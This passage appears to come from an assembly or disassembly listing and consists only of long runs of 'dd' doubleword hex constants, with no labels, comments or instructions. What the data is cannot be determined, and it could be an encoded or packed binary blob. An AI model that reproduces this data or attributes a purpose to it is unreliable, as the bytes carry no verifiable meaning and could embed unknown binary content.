		dd 3301D147h, 34BD8h, 0FE0DF589h, 0BA0BB3C0h, 8E1FC600h
		dd 8CDB1AACh, 0E5EB0B3Ah, 30A03017h, 6A68F9C2h,	0F4E6DC00h
		dd 69FF622Ah, 0AEB6009Eh, 6C8C3C87h, 98C0F86Eh,	8645068Eh
		dd 10F96714h, 1A74D020h, 7C004F81h, 2968BC16h, 881744h
		dd 6BBEC79Ch, 0EAD45A3Bh, 954CD000h, 5F079B3Eh,	0E698052Ah
		dd 0E06E0544h, 0BF017B00h, 7EA2230Dh, 0B8705520h, 5DCF0EDCh
		dd 10784664h, 0C50E596Eh, 0C0CE5BEFh, 0D85FBF77h, 2C6B00B6h
		dd 1984DB5Dh, 0DF0E6634h, 6A05E214h, 0A112EC11h, 0FEE3ECC1h
		dd 5A006028h, 2155E19Ch, 0D701F630h, 9EF305CFh,	0BC2CF565h
		dd 0F4460170h, 0E9551F54h, 0BCBEF8EDh, 15A472Fh, 68509308h
		dd 2CB6EADCh, 1D0DE5Dh,	290BC679h, 61B961ADh, 5642C040h
		dd 261F0E3Bh, 0FA206419h, 8246700h, 5A0B0A2Bh, 881000BCh
		dd 0E1F11727h, 0F800976Bh, 0A76FBF4Dh, 2EF5AEABh, 0F0E3C6h
		dd 0A35AC5EEh, 0AC4801F4h, 0DD27008Dh, 64DCCD6Ah, 58F848C1h
		dd 0EA0F650Dh, 10D8E87Ah, 0B657A300h, 2E8D92FBh, 167C31h
		dd 302FD3E1h, 4C5E6CA1h, 2D1DA73Eh, 0DFEDC091h,	0D4CA17DAh
		dd 1ECB12B0h, 64B48044h, 507FD724h, 82702E06h, 309337h
		dd 6B847BF0h, 23C7082Bh, 9E8B3005h, 0EC003E75h,	0B07AB41h
		dd 2DBD2659h, 24E50A20h, 45D700D1h, 85E171F4h, 0F513B809h
		dd 0ED2090B0h, 65092CF1h, 56CE40F0h, 5100B1C7h,	0A0C6090h
		dd 0FFE4A9h, 79E445Dh, 0E7D45002h, 0BF00D5FEh, 573E6055h
		dd 684270h, 1DAD51CCh, 0C34DB750h, 0E2907900h, 0EA6A5872h
		dd 9EB07859h, 0FBBB0B4Ch, 0A0324081h, 0BEFDD088h, 732F5E00h
		dd 19265FB2h, 0F7CD0C5Dh, 8211D483h, 0DF2C0D7Dh, 44003942h
		dd 0A63835BFh, 258D051Ch, 81A1EF80h, 78436D04h,	0EDE80798h
		dd 0D290C9BEh, 581CFF3h, 0B351D8FDh, 2F9CB23Ch,	0E378AEh
		dd 0BB27C619h, 0F4923ADh, 3B112400h, 1ADBBA64h,	0B99D0915h
		dd 1400AABEh, 0EC5D3138h, 5A7E3A03h, 0E0D8184Bh, 86F8E6h
		dd 193977A2h, 0E36FDCADh, 5EB10A02h, 40D5CC29h,	9A85708h
		dd 0A13D9FB7h, 0D521B80h, 0E1078772h, 0CB8D2D48h, 0B8A02654h
		dd 15D50067h, 0D8275FB3h, 322C557Eh, 9F04E88Bh,	38A006B0h
		dd 9C420062h, 0A0B2A51Fh, 7D003833h, 7AEF2456h,	764B2B55h
		dd 4404056Bh, 0C0D889A3h, 26DEFB54h, 0AC854A00h, 0AF1F3C29h
		dd 8B280137h, 180AAD84h, 9CE42071h, 234F4C00h, 5FB529E4h
		dd 667F06h, 0D0EB6757h,	0E2F259DDh, 7AE4B2B0h, 0E789CB00h
		dd 157CDFEh, 16490E7Dh,	1EA06812h, 15447435h, 54918300h
		dd 2C89EB95h, 0A08A002Fh, 6036B7D0h, 0D400F243h, 11EF8548h
		dd 0F3CB68h, 965674CEh,	46FB89CCh, 705C22E8h, 6BE0078h
		dd 0E6C78F6Ah, 450918B9h, 0D286EE56h, 349E080Fh, 3CBE0028h
		dd 3B99B211h, 0BD857C16h, 0C09263B3h, 496202F0h, 7F362C00h
		dd 5F9CDB1Bh, 0C9B5163Eh, 46380120h, 0FB226684h, 0ED9489A0h
		dd 0F3B1A90Eh, 60576997h, 0F8411E58h, 24A175F9h, 1774DE18h
		dd 0FFD003EBh, 718099C7h, 4E007452h, 55BED8F5h,	3DC6BD2h
		dd 0A30E6DA5h, 4982232h, 2E26269Fh, 0BB00A011h,	686AC8EBh
		dd 87A2017Ah, 4959B8B7h, 3F0C2443h, 21A16500h, 6E9B181Bh
		dd 0BAD00C63h, 0DC207029h, 0AA785403h, 9C04FDDBh, 22F088B1h
		dd 0BE30C035h, 4ED7D064h, 0F1006373h, 8BE65F52h, 4ED25h
		dd 0B7941CC3h, 23E7F3AEh, 8051C000h, 6DB9F901h,	7BBB0025h
		dd 88D7DC14h, 0F80003A5h, 6F67B7B5h, 784421h, 0D493EC0Fh
		dd 58B672D7h, 97DBAB0Fh, 3CD9208Ch, 15DC6078h, 4CD1011Fh
		dd 9B1BFF0Ch, 313AD090h, 8FD60A67h, 17007876h, 4524FC14h
		dd 7D981F0Ah, 38CB802Ch, 0A21A5C13h, 53BA0300h,	79C9EE7Ch
		dd 56E7D57h, 7E8D7DADh,	6E87FA7Ah, 4C52FA50h, 18870041h
		dd 35264289h, 86FA31FFh, 14E2113h, 59755700h, 0E65C63D3h
		dd 0BF850002h, 6B0E6109h, 0FD727417h, 4AB1D11Eh, 5ACF01C0h
		dd 59DA46h, 7DCC4D22h, 0DD8344F2h, 71805C00h, 897572C9h
		dd 0ACB90057h, 0D4471EEEh, 0D00FC93h, 0E5BBD004h, 0E1C6C2Ch
		dd 186A9022h, 8FCFD920h, 0B400E11Bh, 7B5108C1h,	0FDA820Eh
		dd 0E05D9336h, 138E885h, 4498C18Ch, 67104157h, 0E938A50Dh
		dd 5ED0A28Ch, 1149643Bh, 0E80A8060h, 6E7FDFB7h,	6F47BF1Dh
		dd 8921E039h, 1E6FDD3h,	603496BBh, 2420ABC1h, 8E00E274h
		dd 2452523h, 12EC5A6h, 0FDF22A8Fh, 0EC36433Ch, 0AD00C195h
		dd 48F37DDDh, 3B1C7367h, 18983426h, 6440607Eh, 8761AB00h
		dd 43575009h, 1909D601h, 0E8442027h, 981F0F62h,	0D9019E5Ch
		dd 67D31FD7h, 0ACA0F889h, 7C75BC10h, 0BE3B700h,	2EA6E2A1h
		dd 0B5FB037Eh, 8043D00Eh, 22923000h, 24BFBDF5h,	3FC81432h
		dd 1718901Ch, 0B5DD918Fh, 3D449A0Eh, 0B86E1A7h,	0BFF0B909h
		dd 51E4EFECh, 3DA701Ah,	89833FA6h, 3EE8C5E5h, 4392F85h
		dd 1BF804Ah, 3108FB3Dh,	9571070Eh, 0A0A11578h, 0E5F8D69Bh
		dd 81BAD206h, 3009FC01h, 0BB200EBFh, 793EF8BEh,	4E928009h
		dd 0E5A91DECh, 0AC860064h, 1E157B3Dh, 0C5008467h, 91D3D16Eh
		dd 38C3C73h, 9D3D430Fh,	2900B586h, 0B8301381h, 0E8ED226h
		dd 8DC91EFAh, 6F21B68Ch, 0AC00B8B0h, 5662711Dh,	1816412Ah
		dd 2035CB5Fh, 0B800F3A1h, 0F0639730h, 47DCD2h, 628AC9EFh
		dd 34D1AD4Dh, 0A1EB7B03h, 7813B1B6h, 7F3500C0h,	4AA53774h
		dd 6C336F21h, 1FB0862h,	7472D821h, 0F4E4D722h, 48E46C8Eh
		dd 0BF35EF1Ah, 59942C58h, 44028CFBh, 0D2A53874h, 13FA1928h
		dd 278095CFh, 4F9654h, 9C8DEFA9h, 0BCFD972Ch, 47A8550Ah
		dd 0F33F9430h, 37572D05h, 0B003E332h, 8BC57A9Fh, 5DF90134h
		dd 8A765323h, 0B22630AEh, 212F09CCh, 520900FDh,	1DB767C0h
		dd 0F6BEBDE4h, 0C8401003h, 8AC8009Dh, 4AAA6CDEh, 8D1EEAE9h
		dd 2C404E84h, 798BCFF1h, 0DD2107A7h, 10F38110h,	1274FFB6h
		dd 3B80CFAh, 0BE03E00h,	1682332Dh, 67FC8Fh, 63D6106Ch
		dd 7651D921h, 0FB6BB402h, 0DDB9C4DAh, 42F83800h, 9B3DF001h
		dd 534806Fh, 62B5450Eh,	7C3E1428h, 3700826Ah, 0E822ADCBh
		dd 0EA3AA70Dh, 218C30EBh, 3C3739EEh, 8880D5BDh,	781B855Dh
		dd 4E00A696h, 498A56D8h, 19769BC1h, 600E296Ah, 44418A9h
		dd 2ADC737h, 277F32EBh,	5F37A0D2h, 323A0519h, 0CB36806Fh
		dd 0B8C8547Dh, 3FF7003Bh, 3E26E518h, 5017D57Bh,	4201057Eh
		dd 276A6E8Dh, 2AD74880h
		dd 114EE529h, 3554701h,	0E46E8C59h, 19CD9861h, 400A9181h
		dd 7BD7B482h, 0CC9F9EE0h, 2A210109h, 6A827807h,	0F180AB4Fh
		dd 7283C09Bh, 0C15BFAC1h, 7CF9E9E0h, 0E1988C32h, 1B3957h
		dd 5160A835h, 98BE3373h, 0E0558E30h, 37AD927h, 7105C3EBh
		dd 1AF096EDh, 0F901EC6Bh, 3FE26AB8h, 3AE0AAFFh,	0AFF40380h
		dd 99F36473h, 95AB48A8h, 0B47FE500h, 0F66B5E12h, 867C59h
		dd 620F8123h, 5982A82h,	10937001h, 64AF0C07h, 0ED31E4h
		dd 0E0822F2h, 0E9CDFF4Eh, 364D4EC0h, 16BDEA5h, 24E2B0F0h
		dd 0E4F55371h, 0F33C8460h, 59AB00C9h, 0DF4DC352h, 0EC97FAA1h
		dd 6E82002Ah, 49326FACh, 0F6E2636Ch, 1D680100h,	5BFB0859h
		dd 86EA0015h, 4E13BBF2h, 46005D47h, 21EE231Ah, 6032D9CAh
		dd 387E2AF0h, 8E0CA558h, 0EA9A7280h, 3BF80055h,	468E78Fh
		dd 3B0AD9Eh, 2ACA1E03h,	8047E33Dh, 9DF902Dh, 0ACD31658h
		dd 8F03808Bh, 6005E8D5h, 0CC1FA71h, 20703680h, 0B41D005Ah
		dd 1792F84h, 0A6001780h, 6FB36909h, 3E78EBAFh, 0C70020F6h
		dd 4F34315Dh, 0A8C08ECFh, 62412FE8h, 5290026h, 0AF14C7C9h
		dd 8F1F86E1h, 83BEFFE2h, 4C45A021h, 0C53DC07Fh,	67C1005Ah
		dd 93B8DCCCh, 0B50029B0h, 0AB38855Eh, 4479A805h, 6B18D6D8h
		dd 85E9DF93h, 89051717h, 0DD690012h, 9910B075h,	9A0F55EEh
		dd 86C3AFFDh, 7998FFCBh, 73540021h, 79DBB535h, 0F7E40C1Fh
		dd 3A95200Fh, 0DE638594h, 0C110438h, 0EAD7C675h, 1978EBEAh
		dd 825A4A00h, 8A17632Dh, 0E5A200ACh, 0DE4871ECh, 3330BE28h
		dd 0B1BB38EEh, 633800D8h, 5D0A5793h, 0BA018B7Ch, 79AFDAC2h
		dd 11C88148h, 9E5E0C1Ch, 35202BEEh, 439EF0Ah, 217820FFh
		dd 98188C96h, 0E6B92DB2h, 70C000F8h, 42CE7C1Eh,	9A000981h
		dd 0A5055C6Ch, 0FA24D29h, 486E90A9h, 64135400h,	2C74ACF9h
		dd 205540C0h, 0AE341Eh,	9DD746B7h, 0C0D87F3Fh, 58F061C0h
		dd 31D6F1Eh, 849F609Eh,	1DDE5BAh, 0A10FA580h, 1EA88329h
		dd 1DA25A2h, 21D9FD18h,	80DC5F50h, 87F8DED0h, 0A0934722h
		dd 1A94CB4h, 0F524956Dh, 51E6FF48h, 578CF3C0h, 820A11C4h
		dd 0E184CCBBh, 0B300A57Fh, 6DC4EDBAh, 2C298348h, 1608C178h
		dd 0C7150223h, 0E4A04C90h, 82584043h, 0B70EC60Ch, 0E8B8602Ch
		dd 2082F598h, 0CE58780Ah, 6084B960h, 5FAB700h, 21AC71B8h
		dd 280E7F7Fh, 9ECF8CAh,	482A5DEBh, 694D0000h, 907BE666h
		dd 0B9B8AD00h, 19804285h, 0E9D769CBh, 0E060190Fh, 8F5E62A1h
		dd 6C08EF0Ch, 0F30E111h, 81C50312h, 60A019CFh, 87376915h
		dd 0AE0E18E8h, 67226Fh,	5E4BEAFBh, 3F19EA75h, 0CF80A60Eh
		dd 809CD7Fh, 2300120Ah,	0FD751B7Eh, 52116387h, 1F02E80Bh
		dd 0EC197AF5h, 3AAC4E60h, 0EA5E4A8h, 0CF00EEFEh, 0B5501071h
		dd 18FB7C12h, 0A0834990h, 301FBF47h, 0FE5FD4E7h, 94B3340h
		dd 26619013h, 0F1BA71h,	62B3842Eh, 0EBEC6AF4h, 0A55C2DF2h
		dd 4E400021h, 159357B0h, 1F8C00F6h, 3B080EAEh, 8BF606B3h
		dd 84EA6B2Ah, 6F3BFE7Ch, 0CCC88F51h, 0E017AC7Fh, 0A021C03Ch
		dd 0B4F96FEAh, 6C154A0Dh, 42D5190Dh, 87CBD8h, 0D0D1A743h
		dd 0A4CDC831h, 0A98F5100h, 7848553Fh, 6090E068h, 4F12D973h
		dd 160B13E2h, 80EFF84Eh, 7BEED86Ch, 0B3AC0186h,	190964F4h
		dd 9BC2F4FFh, 0B0D26E8h, 0E07E82BAh, 0C3183047h, 0C6E95875h
		dd 88971876h, 5926CD39h, 2100C3ADh, 9D4973EAh, 2A8C0471h
		dd 822E5D0Eh, 3460FC98h, 2C80C2DEh, 7B110FCCh, 5D07817Eh
		dd 80A085E7h, 0FF468A78h, 28CAC7F2h, 6B62BCF5h,	268CA086h
		dd 675A337h, 671946F8h,	910019ECh, 47ABAF4Fh, 26CAC5FDh
		dd 14244D84h, 39BCC808h, 57FE3B8Ch, 37C70B03h, 912C517Bh
		dd 1E3EC871h, 0F00BE35h, 4772A3ADh, 1578F82Dh, 9C4BB5C3h
		dd 0FA121C09h, 0A014942Fh, 5BAA5F0Ch, 350C3248h, 21D8CB58h
		dd 8D1B3AF4h, 5FB10A82h, 684913DFh, 0AD2180C2h,	357E8C8Ah
		dd 65790104h, 92504294h, 1100E67Ah, 68AE220h, 0BC803832h
		dd 0E70069A7h, 9D33EF9h, 4C9FCA73h, 0D67C5806h,	315E04E9h
		dd 0A9CCD63Ch, 0B0511D0Dh, 80471199h, 935792F3h, 0B3280545h
		dd 478077Ah, 904F9618h,	8170533Ch, 0CB252A03h, 0A0923D45h
		dd 775CDEh, 8DD020ECh, 0CC3C13D5h, 535AD719h, 883094A0h
		dd 3A9389B4h, 8B7B5880h, 2BCA1384h, 0A58001BEh,	8F96EA67h
		dd 6DD8319h, 98902C16h,	0F9D52250h, 131A577h, 0A75050DFh
		dd 72EB048h, 55696867h,	0C14D14BAh, 22051D70h, 30B7F20Ch
		dd 0F00340Dh, 8FE9F5FEh, 0C0276B1Eh, 6923E121h,	0A512DCA6h
		dd 45E4A9Eh, 0BE3A8B00h, 58A4635Eh, 380C0B6h, 3416324Ch
		dd 0B329D916h, 0D0374444h, 0BE614489h, 6547C181h, 0F0AC0E40h
		dd 517AEFB0h, 7B124600h, 0E2224304h, 0EAF40970h, 1C05E90Bh
		dd 82F3C0FCh, 4951E69Eh, 0FB84309Ch, 1E56068Ch,	7807B102h
		dd 54118499h, 1E0E0072h, 3E7B5C4Ah, 0C3014896h,	0C2B1FA1Bh
		dd 0CC42C13Bh, 3B8066AFh, 8E2CDAA4h, 838100BCh,	424CC045h
		dd 518448F3h, 0CFAE1200h, 95B6D33Bh, 0CC4002C0h, 3EAE1C8h
		dd 6402386Ch, 0EEC67E58h, 835C18B8h, 0FC2E80h, 0F0F91559h
		dd 0A7F2907Ch, 50542759h, 48C09ACh, 0A768C7Eh, 358861F9h
		dd 8C85BA00h, 0B5A46B1Eh, 38546170h, 0A88BA93h,	0E9F94843h
		dd 0B6F080C8h, 629EF810h, 8033873Ch, 0E4A51D9Bh, 7450FC93h
		dd 1559C16Ah, 0F004CF19h, 30916C05h, 1B6FFA87h,	64F81877h
		dd 49E40A2h, 0E066C76Fh, 12487FB7h, 1FE4E30Fh, 85A4A680h
		dd 0D089BAB6h, 1AD7080Ch, 0D050FF09h, 7478035h,	0A62569h
		dd 7F2FB6E9h, 5AAEA927h, 0CDD29209h, 80A480ACh,	0C0524ADCh
		dd 42620BE0h, 18C28247h, 4830B97Bh, 2EFF8500h, 366BFA9h
		dd 0EE750F52h, 2310294Ch, 58760109h, 183EC714h,	0CA8A946h
		dd 6A4BC26Ah, 6C0DEF60h, 7C804C94h, 31DD19C4h, 0B0D50E22h
		dd 0AAE070F8h, 7E40187Ah, 0E200FB7Bh, 2F0233A9h, 0A0AB9F01h
		dd 0D19550h, 8DF06922h,	0BEB20A05h, 29EEE1C1h, 28A821DBh
		dd 1334608h, 0A748C80h,	10B4DE9h, 438CF7D4h, 0D42384A4h
		dd 2C53CE01h, 30EB49A3h, 0F0EE4B34h, 21CA5F79h,	0F0020CBh
		dd 7A06261Ah, 410200E5h, 15C56111h, 4A004308h, 0F7169C6Bh
		dd 25751877h, 0B400F567h, 6E485811h, 0FF0068BAh, 0CCAE2864h
		dd 0EE0EEB29h, 0EDC93CDh, 0B1041E04h, 24C96257h, 0D51900ECh
		dd 62761Ah, 642EA10Fh, 6EB8866h, 22E6E7FEh, 0CBDD114h
		dd 0AB007C98h, 0E3EF7DD8h, 26DA8494h, 84BCB787h, 404C7107h
		dd 38196CAh, 46A8B049h,	8CFC268Fh, 0C928973Bh, 0AC702Ch
		dd 95326FFEh, 8B9DB626h, 53EE4A1Fh, 5603ADC0h, 72CBC1h
		dd 97DB5FF4h, 2B11EBD6h, 8CA9C705h, 0EFC0659Eh,	2A109575h
		dd 398C85B5h, 0C937BAB9h, 578C80A8h, 2D00716Ch,	0CC2A0DFCh
		dd 5074562Bh, 0FEECD00Ch, 0C5A092F6h, 41EF9BC8h, 93BA10E4h
		dd 0E26C23F4h, 0B36D3045h, 0E93FC603h, 0BF7D75C2h, 0C4C1AB42h
		dd 5F9A245Ch, 27088FDCh, 0A7B36020h, 0D106E157h, 50968CF5h
		dd 0ECCE0051h, 8AAF78DFh, 2A090CF4h, 8F82DAC6h,	8B360DEh
		dd 135FFCEBh, 87B1BAh, 0E90FAFB4h, 0F0997C7Dh, 511853D9h
		dd 157ECC00h, 3349E577h, 0B0E67934h, 0F360C478h, 8A6C9091h
		dd 1B73C0D5h, 0A578C301h, 0A61EE34Dh, 946B46CCh, 0A22C8358h
		dd 8F85C68h, 0D203BE45h
		dd 0C1753EE1h, 0DB52B19Ah, 0B83382C0h, 0E0B98Ch, 46E922AEh
		dd 71B8A655h, 8019BA3Ch, 2B974885h, 0D939E2h, 79F51F53h
		dd 1E602C01h, 40EE6609h, 91441705h, 0C68D80A2h,	7BA4EBD9h
		dd 313702CBh, 810BB52Eh, 13028C66h, 0D1854F26h,	0C43005C1h
		dd 172498E8h, 0A778D04h, 0BE336011h, 86D9210Eh,	0FEDD208Ch
		dd 65CFAFF4h, 0C99C5854h, 88D80E9Ch, 75BDC3C5h,	43C1E5F0h
		dd 0D9859630h, 4431B6h,	130FD47Eh, 8E571459h, 870C20E9h
		dd 6AD7C60Ch, 75918050h, 1A5F3475h, 5E00C0A9h, 0DC808327h
		dd 48584A96h, 82C00550h, 520A628Ch, 0BC227819h,	8C89CE07h
		dd 84909D86h, 375DEA3Eh, 0A259B4E2h, 0E007BD8Fh, 67A7A3F1h
		dd 0BA7B79FCh, 0E8E922E0h, 0CC2E2703h, 0E5FD2D7h, 97199430h
		dd 0A38709E0h, 98A806D4h, 4E79BA0Bh, 37F260C0h,	9C96C1h
		dd 47CF5EBh, 67519FBh, 63208B63h, 1D08F01Ah, 420A7DBh
		dd 309D079Ch, 0C1CE6A11h, 7ECFF4C1h, 98E0045Ch,	0BDB2285Fh
		dd 1440B008h, 9CD70BD2h, 0E48CBEECh, 54710736h,	0EB37AE20h
		dd 0EB2CC01h, 9780A5B6h, 835B88F8h, 0B3144B60h,	0ACF12807h
		dd 0CA701CB4h, 0BA2460EFh, 17251C33h, 80B8918Ch, 0BCEC25B1h
		dd 0E1B2002Ah, 4C29F513h, 7E27F6BAh, 35D4A083h,	4416C58h
		dd 60E775D4h, 0FA30817Dh, 0C9E0BB48h, 842EC00Ch, 99306D8h
		dd 94EFDA38h, 6FE4E0E8h, 5E44202Ch, 0BF1D811Ch,	8D1A0341h
		dd 0D6E91BDEh, 2EF8BCC1h, 0A9A80773h, 0E0B54608h, 0BDDA3358h
		dd 0D90FFB1Fh, 7D9B8B00h, 0F6479Dh, 0FEB1C416h,	3F280280h
		dd 69A77300h, 0CDC50ACEh, 8DEF07EDh, 8356F345h,	65B07781h
		dd 0DD1C1AE8h, 77EFA95h, 7E0C100Eh, 81105507h, 38FB6743h
		dd 7180ADC2h, 0C4CE41ECh, 78011554h, 942A626Eh,	10A156DDh
		dd 8187C04h, 14100148h,	60A3FA55h, 0D2B116DCh, 0D00E2A7h
		dd 0B85F7AA0h, 3C6EC88h, 0FE87E614h, 72DB1D90h,	632F31E8h
		dd 0C822F800h, 28FD75D9h, 0C5E317FEh, 1D58A862h, 770747E6h
		dd 0BF70FF76h, 7FCB432h, 0D98C9F7Bh, 3EE740E3h,	0B5C85F1h
		dd 0F2387Dh, 61416AC3h,	4770AEh, 0D9816080h, 0A9ABC99Fh
		dd 0FB7A000h, 82EFB3F9h, 20C20097h, 84590203h, 1C01E88Eh
		dd 6EE6D0B6h, 5880F287h, 874E988h, 0E0EAD1DEh, 0F7E3AA03h
		dd 0D9DC91C7h, 1C204721h, 5B050086h, 7FA6E1BCh,	8A0003FAh
		dd 348287D4h, 37BA1Bh, 285DDE46h, 44BE7177h, 0FEC2F604h
		dd 0C0BF0D0Ch, 0A1ECE516h, 4138C060h, 49D3E49h,	22839139h
		dd 0EAF480A9h, 0E00CD81h, 36C880F8h, 0AB20D8Dh,	5DBDC118h
		dd 19D400CCh, 936ADA0Eh, 255E7702h, 90619295h, 380B2BA0h
		dd 9D00FDCCh, 90CED0B5h, 400F22Fh, 88167DD4h, 0C0F0E486h
		dd 98D3FF8h, 11C09E44h,	7790D88Ch, 24363F0Dh, 0A30A6B8Ch
		dd 4898C880h, 0FDC380C0h, 0FBF91F86h, 66D443h, 0A5188728h
		dd 0B1D08F2Eh, 0FA5FCD00h, 5092149Ch, 3B1F01AFh, 0F736863Dh
		dd 80C057FEh, 0DC058CC3h, 7D0044F6h, 962EE3E6h,	1CD4A737h
		dd 40CDED73h, 904E21BFh, 1A0B3910h, 8099A3EBh, 0BAE559D7h
		dd 0B7B8147Bh, 0D100BA21h, 0B6BB9F92h, 0B200EFBFh, 99010B90h
		dd 3877C4B0h, 0C9035694h, 0F0BBF2EEh, 0AE109BC8h, 87A1613Bh
		dd 8FDF9F50h, 0D9E0AF67h, 9CF51FAh, 0EC6EC720h,	4C5F8000h
		dd 0F7002656h, 1F16C623h, 0FD5D892h, 5E6D28C2h,	7986C05Ch
		dd 24E11DB3h, 0C8E0F9A3h, 7D1F6BEEh, 410062A8h,	0F8A93ED3h
		dd 0B8E65023h, 251B1DFCh, 0C93DC1BBh, 0F0D1E317h, 30000ABAh
		dd 0EC688F2Fh, 0BFC0A2h, 7ADFD049h, 2934E1CCh, 0D9A07067h
		dd 79040E64h, 0EA98306Bh, 1B7449h, 5B46CE93h, 0AB307480h
		dd 0F5073F01h, 9BB0940Bh, 4BC1DC4h, 86AA328Ch, 185A8131h
		dd 0FF012191h, 0AB4B7990h, 9A0CFB73h, 40D46560h, 0AE5C003Ch
		dd 0EB46649h, 0EF094EB3h, 2096AA69h, 0E06AA00Ch, 0B8C0968h
		dd 290029C1h, 0CB5FC318h, 8281D49h, 78EDA8h, 728196E3h
		dd 64E4115Ch, 7F018D74h, 50FF492Fh, 0F82009F1h,	0A8E866h
		dd 0C7D8530Fh, 0E24A2E47h, 8156231Eh, 0ABFC89h,	0D5D1B71Ch
		dd 0EE58003Eh, 135F96Fh, 4F77A4BDh, 0CCF69B2Ah,	800F7F21h
		dd 0FF2EB99Dh, 2500CA5Dh, 0C40E88DAh, 2A6186h, 526FF047h
		dd 9343575Eh, 0B1568C1Dh, 708378C0h, 306087h, 8D61A549h
		dd 4F2246BBh, 7A6B5400h, 0F1510BE9h, 195F04Dh, 1CCDC3B2h
		dd 80AA3357h, 0AE23A540h, 4F0BE8h, 0EE80C247h, 0E4187EBEh
		dd 0F400CCF8h, 7176B91Eh, 7483058h, 53F2B584h, 7B39815Dh
		dd 75A0E3FEh, 3438B127h, 2138006Ah, 0B3181F81h,	0C158001Ch
		dd 38FC4C5h, 0E600353Bh, 0E26F1D79h, 61C3ED07h,	19716CF5h
		dd 7BEC245Fh, 4677DE1Dh, 7D353F47h, 6A9FEB0h, 557300A6h
		dd 0DDFB544Eh, 0A126577Eh, 1C0F27E6h, 846F2AE7h, 0F25D9260h
		dd 0F3E40EB6h, 4AA03954h, 7A10D0CBh, 32F48907h,	0C9D0D2DCh
		dd 0F5884h, 6F9337AFh, 874F068Eh, 91667018h, 5E7CA91h
		dd 3A5744A4h, 8B008015h, 55186249h, 48112DECh, 0FE0B00B6h
		dd 1A8832F9h, 14021DBCh, 1BD986F2h, 0D2E068F7h,	5033005Eh
		dd 18EE3C55h, 5C3F4426h, 74902CAFh, 0A3617181h,	346451DEh
		dd 31E61796h, 0A94B006Dh, 8E08A61Fh, 70281471h,	3F00E032h
		dd 964E649Ch, 6488F6Eh,	8A8D1047h, 6202215Bh, 45F7EEDDh
		dd 3300D563h, 2542647Eh, 0CAAF4000h, 5A3116B0h,	1FEA0014h
		dd 334A8CDDh, 0BFB80959h, 0F8CFAD07h, 0E9A86Ah,	0F621021Eh
		dd 0A9690AB4h, 7FC99EAh, 307832h, 4FFF4ADBh, 776FB600h
		dd 2117C5DDh, 0FA40FCAh, 0BD809CC9h, 0EBAB4229h, 604EF600h
		dd 0B84730FDh, 0E75D00EDh, 126B6C2Bh, 0AF0076D5h, 524E82B1h
		dd 0DC42ACh, 2FA4A1B5h,	3002817Bh, 176D7A01h, 0C7906AD4h
		dd 0B700E862h, 5B4B1060h, 0FC07E684h, 44118761h, 0A31A6910h
		dd 0D66006Bh, 74150C8Dh, 6F00324Eh, 1857DC56h, 0C2511Ah
		dd 8A4AB5EBh, 209CF36h,	7D6D3F1Eh, 773EDE04h, 1C44D0C7h
		dd 45A00C90h, 98D2F4CDh, 38270F12h, 3480632Ah, 0AD01F795h
		dd 0C19C9604h, 0A8C00DBBh, 6C2C9Eh, 4249D55Dh, 0FEA17D1Ah
		dd 52A02550h, 0FC8E2209h, 9DC8751h, 0B7052B30h,	210B0B8h
		dd 0D2A6D68h, 1448A17Ah, 0FA3C1D52h, 8E6200F3h,	0A5A7C209h
		dd 0E030134Ch, 0D6684219h, 0F760A923h, 2A676A09h, 44B67608h
		dd 0A11F37C0h, 3E1A3310h, 201429DBh, 1E208131h,	0B72EACADh
		dd 60C1F101h, 40D1696Ch, 2435CC74h, 334A2193h, 0DFB5F38h
		dd 0C0F411E3h, 5A40E73Ah, 0AFC19905h, 5C00A991h, 6FC99808h
		dd 26CE020Eh, 0D0B0F00Fh, 69BB4F40h, 0D84188C0h, 0D33D62h
		dd 0C9AF7592h, 8AF5CE1Dh, 70EF2200h, 999E7CD7h,	0C40B547Eh
		dd 1CD80025h, 6DEE8297h, 0FA0061D4h, 9D73A9FDh,	3073855h
		dd 0CED620A3h, 0D00B7B13h, 29E4AA8Bh, 0F1C20C58h, 0F25A00F5h
		dd 0D376E199h, 96015B2Ch, 77C74C36h, 3184A95Fh,	197F8EE5h
		dd 50B72848h, 3914048h,	67F6AE0Ah, 0FC1305Ch, 23CF62EEh
		dd 5776CEh, 8426A128h, 5BD217C3h, 0B2477701h, 0E451EADBh
		dd 0DFD8F4h, 45438B66h,	9097F3A3h, 764D700h, 0F6A0A7B2h
		dd 0AA17073Dh, 0C0D518B7h, 53157AEDh, 2101B6F8h, 1F8B7EE5h
		dd 94D07C11h, 52E4BDh, 0E7C4587Fh, 2B850A6h, 0C00E6FCh
		dd 1F854F31h, 250A440Fh, 0E403E0FAh, 0E901D2F5h, 42EA937h
		dd 6EF039B4h, 0D7B81690h
		dd 3CBE00A3h, 47919CBDh, 6D006476h, 7605283Dh, 1435B2EBh
		dd 90DE0C69h, 65EE6703h, 0BC005DE1h, 0E836C8A6h, 0F086B1Bh
		dd 0E785721h, 0E5767B23h, 0B02FB7D0h, 0DEFF5300h, 41EDDA03h
		dd 66B8008Bh, 1637099h,	695848A2h, 0DA8300F5h, 56DBAC91h
		dd 1C2F1CCBh, 0E41A0647h, 0E73D085Bh, 69EA000Ch, 2CFA2371h
		dd 6A5A5830h, 7A851600h, 0FE033EF7h, 89385C63h,	39410357h
		dd 8B0532D2h, 8AFA2E90h, 1C0F6601h, 0B5DAC816h,	4E6170B0h
		dd 6174A3E0h, 0B6CD11C1h, 3C54029h, 716AA8D0h, 701E00F9h
		dd 486FA4FAh, 4C0FA219h, 0FD8791B2h, 71A0103h, 837990BFh
		dd 9E1C0C8Dh, 508906Bh,	0F72791C0h, 4F1A407h, 0DD98ABA9h
		dd 0D9F1C080h, 0F003D846h, 0B5825A1Eh, 278803E6h, 0F1DDC2AFh
		dd 13FF4DE0h, 60E2D938h, 8B55CE10h, 2D70EFh, 6C59E80Ah
		dd 14493EA7h, 0B4F05C00h, 2F1E1122h, 46300E0h, 0A61682Dh
		dd 0A2024D1Fh, 0BA7B5224h, 5DD64059h, 4C86007Dh, 1DF9FD8h
		dd 6603B4BFh, 0C1A5B1ACh, 652CB878h, 8EF20499h,	0C02AD392h
		dd 0C515254Dh, 0E533BC0Fh, 79FA007Ch, 5E298B68h, 0FEE81Dh
		dd 0BD4C2B5Eh, 33B9717h, 15E322F9h, 988F08Fh, 99C0FFDBh
		dd 6CC20212h, 465326A3h, 6CA0772h, 0B6009BFCh, 0C1424B3Ch
		dd 67859A00h, 0CA7A7948h, 0A5843AB1h, 1A11C700h, 0DE400B91h
		dd 0FE2D5500h, 33D88BDBh, 0C28300F6h, 0CC77646Ah, 4207409Bh
